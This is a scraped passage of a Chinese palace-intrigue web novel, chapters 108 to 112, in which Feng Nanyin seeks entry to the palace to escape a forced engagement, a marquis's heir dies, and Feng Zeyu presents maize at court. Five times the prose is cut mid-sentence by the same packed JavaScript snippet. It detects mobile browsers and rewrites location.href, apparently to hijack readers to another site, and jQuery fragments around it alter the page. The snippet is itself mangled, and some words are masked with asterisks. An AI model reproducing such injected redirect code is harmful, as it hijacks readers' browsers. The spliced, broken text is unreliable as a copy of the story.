所以,这丫头求到自己面前,他毫不犹豫地就应承了。 …… “听你这么一讲,她确实是一个好孩子。没想到凤夫人遭了这么一场祸事,性情变得这般让人不敢相识了。” 德妃给身边的代云使了一个眼色,“去,拿我的手牌过来。” 她将玉牌放到桌上,“既然订了亲,确实不好再插手,不过本宫早就相中的姑娘,谅他侯府也不敢与我抢人。” 靖王要拿牌子,被德妃压住。 “咱们可说好了,她要是个不得用的,可别怪人进了宫,我不护着。” 第一百零八章她现在只想玉碎 靖王信心满满:“母妃见了她定会喜欢,不过这丫头没学过什么规矩,母妃要多费些精力,多些包容。” 德妃现在最是好奇的,是她这个儿子如此夸赞的一个姑娘到底是什么样。 她满口应承,“本宫的钟粹宫最是上下祥和,只要她自己不是个蠢的,没人敢欺负。” 反而言之,她要是蠢笨到自己出去惹事,德妃也是不愿护着的。 靖王拿出一串碧绿色雕刻成莲花瓣状的菩提手串,“这是儿子在边关时特意为母妃所刻,之前一直放在护国寺沾染香火,前个才取回来。您时常戴着,能平心静气,算是儿臣错过了母妃四十生辰给的寿礼。” 德妃见了很是欢喜,“这等颜色见所未见,还是我儿有心。” …… 靖王离宫前,远远看到贵妃由着一众宫娥陪同去了乾清宫。 余贵妃同时也看到了靖王,慢慢向他走了过来。 靖王上前见礼:“儿臣见过贵妃娘娘。” 余贵妃见到他,皮肉不笑地扯动了一下嘴角,“先前几次见到靖王都是在宴席上,今日近距离与你相谈,才发现靖王殿下如今生得这般英姿挺拔、俊逸不凡。” “儿臣谢贵妃夸赞,您也是看起来气色越发红润,贵气无双。” 余贵妃叹了一声,“到底是不比往昔,你四哥莫明惹了小人,被牵累禁了足,不过皇上圣明,知道是那些个小人作祟,已经被放了出来。” 靖王见她与自己含沙射影,面色如常。 “确实,四哥雄才大略,心怀家国一心为民,确实不是小人的几句谗言便能坏了运道,儿臣在此恭贺贵妃。” 余贵妃本想气气靖王,他在背后做了那许多,如今安王还不是不痛不痒放出来,未伤分毫。 靖王却在这里阴阳她儿偷人粮食赈济百姓,反毁了声望。 余贵妃脸变得的特别快,瞬间又恢复如常。 “对了,过了正月就是秀女入宫采选的日子,朱家如今出了事,牵累皇后娘娘凤体不得康健,已无力主持遴选,由本宫全权负责。” 朱家倒台,太子身子不成气候,皇后已经成了空架子,早不惧威仪。 这后宫,将是她一人独大。 她手轻轻搭在靖王肩头,拍了拍。 “靖王的正妃,本宫会替你仔细长眼,你不必担心。” 靖王脸色冷了下去,他对娶谁并不在意,但是娶的是哪府的姑娘甚至在意。 这个余贵妃,竟然想在他身边安插眼线,他若是让一个女人洞悉拿捏,便不是弑神铁帽子王爷。 “如此,便要娘娘多多费心了。”他躬身见礼,退了三步。 余贵妃一拳打在棉花上,竟是觉得好生无趣,这个时景轩打小就让人看不到情绪,委实可恶。 “行了,退下吧。” 靖王离宫,压根没将此事放在心上,余家早已被父皇所忌惮,余贵妃与安王再不知收敛,朱家的结局就是余家最后的下场。 她要是聪明,就不该将有孕的事情提前拿出来宣扬。 …… 凤南茵近来情绪不佳,那日与凤夫人争论过后,表面看似平静,背地里却是波涛汹涌。 只不过了三日,古嬷嬷深夜便来寻了她。 “二小姐,今日侯夫人又来了,一同来的还有侯爷。” 凤南茵右眼皮不受控制地跳了起来,稚嫩的小脸盯着嬷嬷。 “提我的事了?” 古嬷嬷无奈地点头,“大公子不日就到石门府,此次回来说是带了一种新的田产物种,可抗旱、抗涝、抗寒、高产。” “老奴还听说,这东西一经大量传播耕种,百姓再也不用怕吃不饱肚子,对土壤的要求也极低。” 凤南茵被她所说的物种吸引,“这是好事啊。” 古嬷嬷却在这时哭笑不得,“可侯爷让世子带人前去接应了,就怕这功劳被人抢了。” “这样做也没错。” 古嬷嬷急得拍手,“可是侯爷走后,那侯夫人直接出言威胁夫人,若是两家亲事不成,这份功劳就会落到侯府,她要绝了凤府复起的希望。” “咱们公子是有功名在身的,有了这次功劳,皇上就算不赏赐爵位,也会赐官,二小姐可清楚这事对凤府的重要性?” 她眼里皆是怜悯之色,想不明白侯夫人为何执意要娶二小姐过门。 那不像是要结两姓之好,更像是看待仇人。 凤南茵明白了,母亲定是应了。 她苦笑出声,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242542|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世间**的法子何其多,慢刀子割肉才是最疼的。” 她不过是甩了侯夫人的脸面,那个吴氏竟是想用一辈子来拿捏她。 周婶在一旁担忧地直搓手,“这可怎么办?如今侯府势大,就算世子**,我看依着侯夫人的狠毒,也能想法子让小姐与世子一辈子扯上关系,不得逃脱。” 凤南茵只不过是打个比方,结果周氏的话让她觉得不对。 “人都**,她怎么拿捏我?” 周婶:“小姐不知道,这些大户都会给没成婚的公子小姐配冥婚的,人**,也会在阳间找个人与**拜堂。有的地方更甚至让家里的仆人陪葬,这些都是不犯法的。” 凤南茵一屁股跌坐在炕上,周婶何时将古嬷嬷送走的都不知道。 她是真的没了主意,师伯为了她,冒着**的风险留在京中多日未归。 这边,她的至亲一个两个都将她往绝路上逼。 水水上来拉她,“小姐,咱们逃吧。” 她垂下头,她和娘就是这样逃出来的,因为娘口中要给人配阴婚、陪葬的人就是她。 凤南茵走到窗前,一把推开窗扇,冷风瞬间扑进来,打在脸上让她冷静了几分。 夜,漆黑如墨,如同她的心坠入不见底的深窟。 “水水,你知道为什么黎明前的夜最是黑暗吗?” 水水摇头,“天亮了就会黑,黑完总会亮的啊!” 这和要不要逃有关系吗? “夜色总会有过去的时候,只是分外难熬。”如果她逃了,就会一辈子背上盛闳未婚妻的名头,她觉得恶心。 “我要进京,但凡还有一丝希望,我都不能放弃。” 侯府想拿权势压人,这天底下比他权势高的又不是没有人在。 她不信邪! “可是二小姐,夫人那边若是真的给您定下了婚约,即便魏公子想助,怕也无能为力啊!” 父母之命,媒妁之言,就算是皇权也不可能无故拆散人家婚事啊! “侯夫人不是想独吞这功劳吗,我先叫她无法如意。” 至于说冥婚、陪葬,那可就由不得侯府了。 她不是贞洁烈女,不为**守洁。 她现在,只想玉碎! 第一百零九章凤南茵寻了一条最难走的路 有魏锦在,凤南茵想见到靖王比所有人都要容易。 这是她第二次到春浮雅苑,比起第一次来时体会到的清幽,这一次要热闹许多。 天黑后雅苑坐无虚席,一楼的雅室人影攒动,每走一景都有单独的琴声传出,偏这份热闹互不打扰,还别有一番怡然之感。 身边是裸露香肩,腰肢曼妙侍女端着各色果盘穿梭而过,鼻尖缭绕着让人迷醉的香气。 凤南茵这次来,已经没了第一次惊讶之心,更多的是悲叹! 如今虽然赈灾小有成效,每天依旧有饿死的穷苦人,可这里挥金如土,一掷千金,铺张浪费,他们嘴里省下一点就够城外的百姓活下去一人了。 而这里却是靖王的产业,那个最在乎百姓的靖王也如此。 上了二楼时,凤南茵的神色都不太好,看到靖王,她上前见礼,语色当中带出冷淡。 “小民见过王爷。” 靖王睨了她一眼, 这小丫头十三了,打扮成小厮的样子瘦小的就像个十岁的稚童,每次见到他都板着一张脸,他有那么可怕吗? 此时他还不知石门府发生的事情。 看凤南茵这神色忍不住腹诽,这是要求自己的态度?怎么像欠了她银子一样。 “怎么,担心魏锦不还你师伯,跑到本王面前告状来了?” 魏锦吐槽:“王爷,她先去寻的我,自然见到她师伯了,怎么可能告我的状。” “恩,你大可放心,朱家势力已经瓦解,皇后娘娘如今自顾不暇,没时间找你师伯的麻烦。” 凤南茵应了一声,“王爷,我来是另有一件事告知。” 靖王挑眉,有事告知? 不是求她帮忙拒婚? “说说看。” “我打听到凤泽宇不日回石门府,他从云桂当地发现一种来自外番的农种物,高产、抗寒、抗旱、抗涝,只要推行农种,不出两年百姓便不会再出现青黄不接,断粮的事情。” 靖王神色郑重三分,凤泽宇他了解,是个有才华、心中有韬略,志向远大之人。 三元及第后,他请辞了翰林的官职,出京云游,一走就是三载。 安国公府出事半年间,他音讯全无,多方核查他确实也没有与家人通书信,忽然传回消息,原来是去了云桂这等偏远之处。 “消息可实?” “不敢诓骗王爷,听闻承阳侯派了世子盛闳带人去迎了,不过承阳侯有将此功占为己有的打算。” 靖王起身,在房中踱了数步,看向凤南茵时,眼中带着光亮。 “你想要什么?” 这样造福百姓之事,若将功劳夺来,或者让盛泽宇臣服于自己麾下,凤南茵值得大赏。 凤南茵知道,自己那点小心思瞒不住这些心机深沉之人,她也不扭捏。 “我想入宫。” “什么?”第一个觉得不可思议的竟是魏锦。 “你志向不是学医吗?你不是最讨厌规矩束缚吗?你去那等牢笼一般的地方做什么?” 靖王也在看她,这丫头的想法还真是让人出乎意外。 “你若是想盛闳死,本王也是可以替你彻底摆脱他,怎么自己求了这么一条难走的路?” “杀了他?” 凤南茵惊愕,她怔怔地看着靖王。 “不,民女并无此想法,一来民女自幼随阿爷学医,深知生命可贵。二来我与他并不仇怨,若说我心中有怨,也只是怨这世道不公。” “没了一个盛闳,还会有其他人,民女只是不愿这样稀里糊涂就指了人家。” 而入宫,是凤南茵唯一能想到摆脱成亲的法子,不然她逃到哪里,都躲不过要被凤夫人配婚的命运。 她忤逆不得,在这个至孝为天的朝代,她没有半点反抗之力。 靖王如此说也是在试探她,丫头到底还小,这样良善,入宫后日子怕也不好过。 “你想好了?” 魏锦也劝,“法子有很多,一入宫门,便是身不由己,你可清楚?” 魏锦这一刻心里有说不出的痛,那种感觉他说不上来,像有一只手抓住了他心,他呼吸都有些困难。 凤南茵抬头,看着他。 杏核眼眸里,是浸了水一样的黑眸,她什么都没说,可无声中那份倔犟让人看着那样心疼。 凤南茵很少落泪,可这会因为魏锦的担心,竟忍不住想哭。 “我若留在外面,总是逃不掉被摆布的命运,我想给自己成长时间,想有朝一日,有能力与这世俗抗衡。” 入宫五年后她就可以出来,到时候她十九岁。 若是她能得主子欢心,说不定能赐个女官,师伯说,前朝有例,有名秀女得了三品女官,有官身者,婚姻可自行选择。 五年间,有无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242543|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数未知的可能,可能命不好,被磋磨死。 但是她不赌一回,嫁入侯府连可能都没有了。 “我不后悔。” 魏锦忽然眼眶发热,他才发觉自己喜欢这丫头,他想一辈子对丫头好。 他二十,丫头过了年十四,再给他一点时间,跟着靖王有了出息,就可以向丫头提亲,年岁也合适。 可他才明白自己的心,这份可能就失去了。 家里不可能让他五年不娶妻,想到此,他忽然失了力气,为这份无疾而终的感觉而悲伤。 靖王见她心意如此坚定,点头。 “也好,你即已决定了,明日我便入宫与母妃提此事。” 他看向魏锦,“太师的身子也需要宫大夫在侧常期调养,留在魏家也能时刻听到凤姑娘的消息。至于保和堂就让子明找个人帮着代为打理。” 靖王安排的很周全,凤南茵心中无喜无悲。 她暗暗捏紧拳头,这一步是她自己选的,绝对不后悔。 “我收留了一对母女,就让她们留在保和堂吧。” 靖王点头,“此事都依你。” …… 盛青岚这边收了侯府下的定,两家也选了日子准备交换更贴,等到了官府过了明路,这亲事就算成了。 古嬷嬷奉命来请二小姐,心里也是百味杂陈,一边希望大公子能将凤府重振起来,一边又不想二小姐嫁入火坑。 “周家妹子,咱们二小姐在吗?夫人请人过去。” 古嬷嬷帮传了两次重要的消息,对她印象极好。 “古嬷嬷进来坐,咱们小姐这会不在铺子里。” “我就不进去了,二小姐回来后让人过去一趟吧。” 周婶看出她神色不对,一下子将人拦住,“凤夫人那边决定了?” 古嬷嬷无声地点点头,“改不了了,后日过明路,二小姐及笄便成婚。” “她不会与盛闳成婚的。” 魏锦一路打马到石门府,心中憋着一股悲愤。 这种情绪皆因凤夫人而起。 马儿被他催促的就差腾飞了,停在保和堂前,鼻孔喷吐着白色的雾气,不停地打着响鼻。 魏锦居高临下地看着古嬷嬷。 今日他要为自己,为那个丫头好好出一口气。 “你家夫人可在府上,本公子有话替你们二小姐代传。” 第一百一十章魏锦要替小丫头出气 古嬷嬷为难,“魏公子一个外男,这么晚的时间总归不便,有话可否让老奴代传?” “本公子和你一个奴才说不上话,叫你带路哪来的废话。” 他一肚子气,这会只想找个人发泄。 “再不带路,信不信小爷找人劫了你家大公子的道,让他一辈子都回不来。” 古嬷嬷害怕,将人往南院引。 “容老奴先知会一声。” 盛青岚等着古嬷嬷带凤南茵回来,今日侯府下聘,这事敲定了,总要告诉她一声。 她将自己珍爱的一对玉镯也拿了出来,打算送给南茵。 “母亲,你何必将嫁妆拿出来给她,要我看她不会感恩,说不定还要和你闹。” “一切已经由不得她,世家大族的儿女亲事无一人可依自己,她也不例外。” 要怪,就怪她命不好,怪不得谁。 “哦,凤夫人这是要由不得谁?” 魏锦这个纨绔,除了在靖王面前恭敬,外人面前他就是个不知礼数的人。 “你是谁?” 盛青岚看着进来的锦衣公子,脸色冷了下。 “不请自来,好没规矩。” 魏锦抬手向她拱了拱,算是向长辈见礼。 “这又不是什么深宅,一处平民宅院而已,本公子大驾莅临,你们不到院门口相迎,还怪起我不懂规矩?” 他上来就往凤夫人痛处戳,毫不留情。 “你这纨绔,私闯内宅,坏我府中女眷名声,信不信我们现在报官。” 魏锦大喇喇地坐下,看了一眼凤南蓉。 “小爷只是代靖王传个话,你们这等庸脂俗粉还不值得小爷做什么。” “凤夫人要是知趣,就断了与盛家联姻的想法,当然,你若是有别的女儿可以嫁咱管不着,德妃有意招南茵入宫做陪,我奉靖王命来打个招呼。” 他看着凤夫人脸上五彩缤纷的表情,心下畅快。 “如今话带到了,就不多叨扰了。” 他走出几步回头,“对了,凤南茵的名讳已经在秀女名单上登记造册,你们敢在这时为其订亲,就是欺君,别怪在下没提醒凤夫人。” 盛青岚:什么? 那孩子为了与自己逆着来,竟然,竟然走了德妃的门路。 她竟是有这般本事,亏得她谋算了这许多,与二女儿失了和,也才得到一张选秀资格。 妃嫔内定的秀女是不必经遴选的,而她的蓉儿却是还要走一层考验。 “这个不孝女,当初若是她肯帮忙,何必闹到这一步。” 以为她愿意与娘家结婚,受弟妹摆布? “母亲,凤南茵这般不将您放在眼里,日后你也别再顾念她了,咱们就当从来没将人找回来。” 她掐着手中的帕子,原本入宫她是想求德妃庇护的,如今她和凤南因生了龃龉,她先入为主,德妃可还会护她? 小**,处处与她作对,怎么进宫都躲不开。 “看来,一切都是天命,那签文当真躲都躲不掉吗?”盛青岚无力呢喃。 “凤凰头上凤凰游,双凤朝阳两不周,四三爻逢午戌,仙姑王母不相投。”本该是一家人,最后姐妹相争,就不能有一**度些,退让些,一切以凤府利益为上吗? “蓉儿,日后娘只能指望你了,你那个妹妹怕是狠毒了我这个母亲。” 凤南蓉暗忖:本也没将她当做一家人,母亲这份叮嘱多此一举了。 “母亲,早该如此了,她事事忤逆您,将来她在宫中遇到了难处,你也全当不知就好,有她吃苦的时候。” “我担心的是你哥哥那边。” 凤南蓉想到舅母最初的目的,眼珠转了转。 “其实三妹与凤南茵就差一岁,舅母想与母亲结亲,就将她嫁过去算了,反正舅母要的是嫁妆,您嫁哪个女儿都一样。” “什么!?” 盛青岚恼怒,“不是你表哥看中了南茵的容貌,才想娶的吗?怎么变成了图谋嫁妆?” 凤南蓉嘟唇,“她有什么容貌,表哥眼瞎了?” 绕过自己相中那丫头,凤南茵哪里比她美。 “表哥根本没见过她,喜欢什么,是舅母,她知道母亲留给我的宝贝,便生了觊觎心。那时母亲不在身边,我无依无靠,舅母就想让我嫁给表哥,试图夺了我手中的财物。” 凤南蓉这会倒是说得痛快,把发生的都和盘讲了出来。 “我早就知道表哥和那小妾有染,怎么可能嫁他,就让舅母向凤南茵提亲,我称自己早与靖王有婚约了。” 盛青岚不敢置信地看着女儿,手指点在她额头上。 “你啊,你怎么那么不省心,她到底带你躲过牢狱之灾,你就是这样报恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242544|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?” 她什么都不知,就这样与女儿离了心。 “母亲还说我,舅母一提她的婚事,您还不是立即就应了。” 你都没将她当亲生女儿,本来就没感情,我为什么要当她是妹妹。 如今婚事肯定是结不成了,那泽宇呢,泽宇可能平安归来了? 她那个浑蛋弟弟可不会管那是他的外甥,夺了泽宇辛苦找回的功劳怎么办? “老天保佑,保佑我的宇哥儿平安归家,保佑属于他的功劳不被小人所占。” 凤南蓉也随着母亲双手合十向外面祭拜。 “老天爷,一定要哥哥得到皇上赏识,只要哥哥有了官身,日后我在宫中也有了立足之地了。” …… 魏锦从凤家出来,可没想过立即回京。 自他明白心意后,便对盛夫人与侯府生了恨意。 一个是白眼狼,卖女求荣。 一个是势利眼,仗势欺人。 至于那个盛闳,若他是个好的,小丫头也不必被逼上绝路,入宫为婢。 这等废物,活着除了浪费粮食,为害一方,毫无用处。 他问邢生:“可打探出来了,他人到了哪?” “爷,那盛世子被侯爷打了板子,身上有伤,表面去迎人了,实则躲在醉花巷养伤,并未离开石门府。” 魏锦嘴角勾笑,“这个废物,还真是天助我也。” 他附耳,让邢生下去准备,他要给盛闳准备一个仙人跳…… 三天后。 承阳侯府门前,两个小厮一脸青肿,抬着一个盖着白单的担架跪在府门前。 “侯爷,世子去了。” 侯府一时大乱。 吴氏听到下人回禀,由人搀扶着匆匆而来,看到地上直挺挺尸身,不敢置信。 “怎么会这样?他不是去接人了吗?” 下人可不敢讲他们随世子去斗鸡,输了万两金,拿不银钱又不敢回府来要,被赌场的人活活打死。 二人要是说了实话,必被侯爷大卸八块。 “世子,世子路上遭遇歹人,咱们随身银钱全部被抢,世子英勇,上前与山匪拼搏,结果寡不敌众。小人拼死只护下世子的尸身回府。” “我的闳哥儿啊!” 吴氏再也承受不住打击,一句话没喊出来,人彻底昏厥过去。 第一百一十一章靖王提携凤泽宇 吴氏辛苦谋划一切,全都是为儿子铺路,如今这偌大的侯府,成群的庶子庶女,又与她有何关系。 她伤痛欲绝,还要给儿子办身后事。 不过是一夜之间,人憔悴到无法辨认,鬓角竟生出两撮白发。 盛青岚得信前来祭奠时,看到她的变化也是不敢置信。 先前两家还在筹划着订亲,这边凤南茵才跑到了京城寻人庇护,后脚盛闳就出了事。 她后脊背一阵发寒,总觉得这事与南茵脱不开关系。 那丫头真的恨意如此之重吗? “我去看看侄儿。” 吴氏已无心应酬,由着盛氏自己行请便。 棺椁开着,由着前来祭奠的客人瞻仰,可真正到近前仔细打量的也就凤氏一人。 凤南蓉躲得远远的,不明白母亲这是做什么,**也看不怕晦气。 盛青岚由古嬷嬷搀扶着到近前,原以为遭山匪劫杀,会是血淋淋一副尸首,她也是半闭着眼去瞧的。 可这一看,衣服露出的地方都好好的,反倒是这脸,肿得变了型,加上人**,青白面容上留下淤紫更加瘆人。 这山匪劫财怎么往脸上招呼? 这不像是要人命,更像是报仇出气。 她心中的怀疑心更加肯定了,捏了捏古嬷嬷的手,退离棺材远了一些。 “弟妹,事发突然,我这边也没准备祭奠之物,这是一点心意,你顾好身子。” 她心中有鬼,随出的礼金就多了些,竟是奉上整整一千两,想买自己心安。 吴氏看着大姑姐出手就是一千两,心中越难过。 两家哪怕亲事已定,她也能将那凤家二丫头给绑死在盛家。 可惜,一切都只差最后一步。 他们侯府要衰败了呀! 盛青岚坐上马车后,手心还在止不住地冒着冷汗。 “嬷嬷,你可瞧出不对?” 古嬷嬷压低声音,“夫人,即便您心中有所怀疑,也不要说出去,这事对咱们可没半点好处。” 凤南蓉疑惑地看着二人,“你们在打什么哑谜?” 盛青岚忽然就有一种后怕,南蓉要入宫,南茵也要入宫,她不会是因对自己不满,要入宫报复姐姐吧? “南蓉,不该问的别问,日后你入了宫,也将好奇心收起来,一定要记着谨小慎微,且莫强出头,轻易不可与人交恶。” “母亲,你是不是被表哥出事吓到了,在担心大哥。”连带着对她生出这许多的担忧。 她顾盼自怜地抚摸了一下脸蛋,她这等容貌入了宫,只会是最拔尖那个,有点眼色的也该晓得她早晚会出头,该奉承她才是。 她没将母亲的警告听进去半个字,只想着快一点应验签文,早日摆脱现在尴尬的身份,将瞧不起她的人全踩在脚下。 很快到了元日,宫中大摆筵宴,由余贵妃亲自操办。 皇后强撑着精神参加宴席坐在皇帝身边,看着眼下奢靡,她劝诫。 “灾荒未过,该是勤俭恪守与民同难之时,这种奢靡实属不该。” 余贵妃见她又装出平日那份知书达礼、勤俭淳朴的态度敲**,冷哼。 “娘娘有所不知,今年查抄贪腐官员府邸,查抄上来的银钱是整个北庆三年税收总和,如今国库托了这些蛀虫的福,竟是充盈的很,这点吃食怕不是他们平日奢靡享乐的十分之一都没有。” 皇后面色异常难看,查抄的官员就有她朱家,皇上给她皇后体面,将朱家全部流放。 如今她是没有娘家撑腰的皇后,又因身体原因,这掌管后宫的权利也被余贵妃收走一半。 这女人,如今仗着肚子里怀了龙嗣,竟敢当着满朝文武来下她的面子。 她道:“即便如此,也该考虑百姓如今正苦不堪言,待来年秋收还有不短的时间,靠海运赈济,总有入不敷出之时。” 皇上点了点头。 “这般享乐确实过了。今日过后,朕身先士卒,每日将饮食节俭到只用两菜,后宫妃嫔也该多多效仿皇后,改改奢靡的习性。” 余贵妃恨不得眼刀子都挖出来,没想到皇后在皇上面前说话还这等有分量。 “是,臣妾谨记。” 皇上都表态了,下面人谁敢不附和,满桌的珍馐美味,竟是无人再敢贪食。 靖王此时站出来,“父皇,儿臣有一好消息想向父皇禀奏。” 丝竹荼蘼,歌舞艳艳,靖王有事禀奏,当下舞姬都退了下去。 靖王:“不知父皇可还记着前年三元及第的状元郎,凤泽宇?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242545|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余贵妃睨着靖王,心道:“好端端的提一个罪臣的儿子做什么?” 这是又准备给自己添加羽翼,不行。 那凤家长子是个有本事的,不能为他儿子效力,就得想办法打压下去。 她小声在帝王身边提醒,“臣妾可听闻,安国公府被抄之时,嫡出的公子和小姐皆逃了。” 她那意思是,就算安国公检举朱家有功被赦免,当初这位世子也是犯了欺君之罪。 皇上脸色沉了下来,“朕钦点状元,怎会忘记。” 这种人本该抓起来,但他想先听听靖王要说什么,再做评定。 靖王自是听到了贵妃之意,但他敢在宴席上提凤泽宇,就不怕被人拿捏把柄。 “父皇,凤泽宇当年辞去翰林官职云游之时,我朝就已经在闹旱灾,而他远行的目的就是想寻求克服灾情的法子。” “而他半年前在云桂一边陲小镇跌下山崖,摔断了腿养在深山一户农家,并不知官府缉拿,也不知家中出事。常言道不知者无罪,还请父皇明断。” 皇上点头,“他若身上真有伤,逃不过太医检查,谅他不敢撒谎。” “你且说说看,他此行发现了什么?” 靖王见此,侧过身,“皇上,凤泽宇已在殿外候着,不如让他亲自与父皇解说,相信比儿臣解释的更加明白。” 凤泽宇上殿之时,手上还拄着拐,只是到了君王面前,才将拐放下,略微吃力地缓缓叩拜。 “草民拜见皇上,皇后娘娘,各宫小主。” 他抱着一物,那东西上面罩着棉被,此时放在身边很是醒目。 “你带的是什么东西?” 皇上没有让他平身,毕竟逃脱罪责一事还没有赦免。 凤泽宇跪在那里从容不迫,并没有被皇上威慑所吓到。 他相貌俊逸,儒雅出尘,通身书倦气,当年一骑高头大马,状元游街时,不知惹得多少京中贵女倾慕。 如今他再次归京,昔日的少年稚气褪去,眉眼中多了风霜,却是更有男子气概了。 七公主看着凤泽宇便失了神,眼里全是亲切的爱慕之情,竟是看痴了。 “萍儿!” 余贵妃看穿女儿的心思,出声喝斥,如今凤府的地位可容不得女儿这般糟践自身。 第一百一十二章皇后的不甘心 凤泽宇避开七公主火热眼神,将所带之物的棉被打开,露出一棵长势极好的植物,强壮的枝干上是肥厚的叶片,每个叶叉上都长着一个包裹着绿色叶子的东西。 七公主时萍锦惊呼,“呀,这是什么稀罕玩意,有点像虞美人。” “公主,这不是花,而是粮食。” 他指着刚刚抽穗的玉米道。 “皇上,此物被云桂之地人称之为玉米,从出苗到这出穗只需六十天,再至成熟只需三十天,一季便可收成,每株可产粮三至四两。” 他将靖王所知皆在大殿之上又复述一遍。 同时从怀里拿出几个小袋子。 “这袋是成熟后风干的种子。” “这袋是研磨成粉后的玉米面。” “此物所产粮食虽粗糙不如面粉细腻,可是入口自带一种香气,口感极佳。” 皇上让人将粮食呈上来,看到手中金澄澄的玉米粒,他心中感叹。 近两年他最是忧心的就是如何提高粮食产量,即便在丰年,百姓留在手中的粮食也只够糊口,远远解决不了填饱肚子的程度。 而减少苛捐杂税,国力又会受影响,长此以往恶性循环。 如今凤泽宇带回来对土地需求较小的玉米种,便可在次等田地中种植,如此大大增加了产粮量,这事让他很是宽慰。 “凤泽宇此行于我北庆百姓子民有大功,这等救活一方百姓的物种将来能让更多的穷苦人吃饱饭,此功造福社稷,该是嘉赏。” 凤泽宇叩首,“草民不敢要赏,只求所做一切,能赎父亲所犯之过。草民外行三年,见了太多人间疾苦,忧在心中,如今只想能解了他人之苦,让人民富足,国运昌隆。” 皇上听闻后很是受用,若他因为发现新物种而志得意满,沾沾自喜,反而对其生出反感。 如今这般知谦卑,懂进退的恭谨态度反倒很让皇帝受用。 “你是金科状元出身,让你这般闲赋也是对社稷一种损失。” 皇上想了想,“既然这物种是你带回的,又心中记挂着百姓,便封你籍田令,负责京外先农坛土地,若今秋有所收,朕必要好好重用你。” 凤泽宇心下长长松了一口气,籍田令虽官身微末至八品,可到底是恢复了官身,不然以他安国公世子的身份,这辈子怕都要背负罪臣之后,无法复起,无人敢用。 他算是完美走出逆转命运的第一步。 “微臣谢主龙恩,必不让圣上失望。” 皇上满意地点头,心情颇好。 “前有奚家后人为我朝百姓努力调运粮食,后有籍田令凤大人推行新物种,相信不出三年,我朝百姓再不用挨饿。” 宫宴散后,凤泽宇在宫门外等侯靖王出宫。 见到他时,双手作揖一恭倒地。 “微臣谢王爷提拔,此恩将一辈子铭记于心,不敢相忘。” 靖王抬手将人轻轻托起,“本王所做之事不足挂齿,凤大人自缚才华与能力,本不该埋没。” 宫门前不宜久谈,凤泽宇恭送王爷离开后,便雇了一辆马车向石门府而去。 他离京三载,家遭巨变,母亲与小妹不知如何,他心急如焚,只想速速见到家人。 坤宁宫。 皇后从宫宴上回来后便阴沉着脸,看着前来向她请安的儿子,心下皆是悲意。 太子从胎中生下来便心脏有损,养了这许多年也不过是药物维持,太医们不敢说实话,可她心中清楚,儿子这身子受不得累,承不起这江山负重。 “母后,儿臣晓得你对凤家有恨,只是依儿臣所见,那检举之信未必不是有心人暗中操作,不然那安国公也不会在狱中受苦半年,临死前揭发。” “本宫自是晓得有人借刀**,可朱家被流放北地,还是因那凤道安所害,如今你养在东宫,不能替你父皇分担政务,你外祖家怕是没有回京的希望。” 皇后心中替父兄难过,可她贵为一国之后,却不能帮衬说情,如何不心伤。 “靖王近来大出风头,连安王都要被比下去了。而那凤家再次被起复也是迟早之事,本宫这心里怎么咽得下这口气。” 太子沉眉,“母后,那凤泽宇到底是为百姓,他若是曲意奉承,与他父亲同等擅于钻营,也不会满足于小小籍田令,他想爬回高位没个十年八载谈何容易,并不足为惧。” “你也说是十年八年,难道你要看着你祖父的仇人,十年后再享富贵,而朱家一辈子被定义为罪臣?” 太子忽然沉默,他这身子不中用,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 